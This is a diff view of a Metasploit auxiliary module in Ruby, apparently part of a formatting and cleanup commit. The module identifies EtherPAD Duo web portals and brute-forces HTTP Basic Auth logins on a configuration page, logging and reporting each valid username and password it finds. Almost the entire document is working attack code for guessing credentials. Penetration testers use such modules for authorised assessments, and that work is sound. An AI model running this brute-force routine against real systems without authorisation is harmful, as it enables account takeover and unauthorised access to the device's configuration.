|
6 | 6 | require 'msf/core'
|
7 | 7 |
|
8 | 8 | class Metasploit3 < Msf::Auxiliary
|
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + include Msf::Auxiliary::Report |
| 11 | + include Msf::Auxiliary::AuthBrute |
| 12 | + include Msf::Auxiliary::Scanner |
9 | 13 |
|
10 |
| -include Msf::Exploit::Remote::HttpClient |
11 |
| -include Msf::Auxiliary::Report |
12 |
| -include Msf::Auxiliary::AuthBrute |
13 |
| -include Msf::Auxiliary::Scanner |
14 |
| - |
15 |
| -def initialize(info={}) |
16 |
| - super(update_info(info, |
17 |
| - 'Name' => 'EtherPAD Duo Login Brute Force Utility', |
18 |
| - 'Description' => %{ |
19 |
| - This module scans for EtherPAD Duo login portal, and |
20 |
| - performs a login brute force attack to identify valid credentials. |
| 14 | + def initialize(info={}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'EtherPAD Duo Login Brute Force Utility', |
| 17 | + 'Description' => %{ |
| 18 | + This module scans for EtherPAD Duo login portal, and |
| 19 | + performs a login brute force attack to identify valid credentials. |
21 | 20 | },
|
22 |
| - 'Author' => |
23 |
| - [ |
24 |
| - 'Karn Ganeshen <KarnGaneshen[at]gmail.com>', |
25 |
| - ], |
26 |
| - 'License' => MSF_LICENSE |
27 |
| - )) |
28 |
| - |
29 |
| -end |
| 21 | + 'Author' => |
| 22 | + [ |
| 23 | + 'Karn Ganeshen <KarnGaneshen[at]gmail.com>', |
| 24 | + ], |
| 25 | + 'License' => MSF_LICENSE |
| 26 | + )) |
30 | 27 |
|
31 |
| -def run_host(ip) |
32 |
| - unless is_app_epaduo? |
33 |
| - return |
34 | 28 | end
|
35 | 29 |
|
36 |
| - print_status("#{peer} - Starting login brute force...") |
37 |
| - each_user_pass do |user, pass| |
38 |
| - do_login(user, pass) |
| 30 | + def run_host(ip) |
| 31 | + unless is_app_epaduo? |
| 32 | + return |
| 33 | + end |
| 34 | + |
| 35 | + print_status("#{peer} - Starting login brute force...") |
| 36 | + each_user_pass do |user, pass| |
| 37 | + do_login(user, pass) |
| 38 | + end |
39 | 39 | end
|
40 |
| -end |
41 | 40 |
|
42 |
| -# |
43 |
| -# What's the point of running this module if the target actually isn't EtherPAD Duo |
44 |
| -# |
| 41 | + # |
| 42 | + # What's the point of running this module if the target actually isn't EtherPAD Duo |
| 43 | + # |
45 | 44 |
|
46 |
| -def is_app_epaduo? |
47 |
| - begin |
48 |
| - res = send_request_cgi( |
49 |
| - { |
50 |
| - 'uri' => '/CGI/mParseCGI?file=mainpage.html', |
51 |
| - 'method' => 'GET' |
52 |
| - }) |
53 |
| - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError |
54 |
| - vprint_error("#{peer} - HTTP Connection Failed...") |
55 |
| - return false |
56 |
| - end |
| 45 | + def is_app_epaduo? |
| 46 | + begin |
| 47 | + res = send_request_cgi( |
| 48 | + { |
| 49 | + 'uri' => normalize_uri('/', 'CGI', 'mParseCGI'), |
| 50 | + 'method' => 'GET', |
| 51 | + 'vars_get' => { |
| 52 | + 'file' => 'mainpage.html' |
| 53 | + } |
| 54 | + }) |
| 55 | + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError |
| 56 | + vprint_error("#{peer} - HTTP Connection Failed...") |
| 57 | + return false |
| 58 | + end |
57 | 59 |
|
58 |
| - if (res and res.code == 200 and res.headers['Server'].include?("EtherPAD") and res.body.include?("EtherPAD Duo")) |
59 |
| - vprint_good("#{peer} - Running EtherPAD Duo application ...") |
60 |
| - return true |
61 |
| - else |
62 |
| - vprint_error("#{peer} - Application is not EtherPAD Duo. Module will not continue.") |
63 |
| - return false |
| 60 | + if (res and res.code == 200 and res.headers['Server'].include?("EtherPAD") and res.body.include?("EtherPAD Duo")) |
| 61 | + vprint_good("#{peer} - Running EtherPAD Duo application ...") |
| 62 | + return true |
| 63 | + else |
| 64 | + vprint_error("#{peer} - Application is not EtherPAD Duo. Module will not continue.") |
| 65 | + return false |
64 | 66 | end
|
65 | 67 | end
|
66 | 68 |
|
67 |
| -# |
68 |
| -# Brute-force the login page |
69 |
| -# |
| 69 | + # |
| 70 | + # Brute-force the login page |
| 71 | + # |
70 | 72 |
|
71 |
| -def do_login(user, pass) |
72 |
| - vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect}") |
73 |
| - begin |
74 |
| - res = send_request_cgi( |
75 |
| - { |
76 |
| - 'uri' => '/config/configindex.ehtml', |
77 |
| - 'method' => 'GET', |
78 |
| - 'authorization' => basic_auth(user,pass) |
79 |
| - }) |
80 |
| - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE |
81 |
| - vprint_error("#{peer} - HTTP Connection Failed...") |
82 |
| - return :abort |
83 |
| - end |
| 73 | + def do_login(user, pass) |
| 74 | + vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect}") |
84 | 75 |
|
85 |
| - if (res and res.code == 200 and res.body.include?("Home Page") and res.headers['Server'].include?("EtherPAD")) |
86 |
| - print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") |
87 |
| - report_hash = { |
88 |
| - :host => rhost, |
89 |
| - :port => rport, |
90 |
| - :sname => 'EtherPAD Duo Portal', |
91 |
| - :user => user, |
92 |
| - :pass => pass, |
93 |
| - :active => true, |
94 |
| - :type => 'password' |
95 |
| - } |
96 |
| - report_auth_info(report_hash) |
97 |
| - return :next_user |
98 |
| - else |
99 |
| - vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") |
| 76 | + begin |
| 77 | + res = send_request_cgi( |
| 78 | + { |
| 79 | + 'uri' => normalize_uri('/', 'config', 'configindex.ehtml'), |
| 80 | + 'method' => 'GET', |
| 81 | + 'authorization' => basic_auth(user,pass) |
| 82 | + }) |
| 83 | + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE |
| 84 | + vprint_error("#{peer} - HTTP Connection Failed...") |
| 85 | + return :abort |
| 86 | + end |
| 87 | + |
| 88 | + if res && res.code == 200 && res.body.include?("Home Page") && res.headers['Server'] && res.headers['Server'].include?("EtherPAD") |
| 89 | + print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") |
| 90 | + report_hash = { |
| 91 | + :host => rhost, |
| 92 | + :port => rport, |
| 93 | + :sname => 'EtherPAD Duo Portal', |
| 94 | + :user => user, |
| 95 | + :pass => pass, |
| 96 | + :active => true, |
| 97 | + :type => 'password' |
| 98 | + } |
| 99 | + report_auth_info(report_hash) |
| 100 | + return :next_user |
| 101 | + else |
| 102 | + vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") |
| 103 | + end |
100 | 104 | end
|
101 | 105 | end
|
102 |
| -end |
|
0 commit comments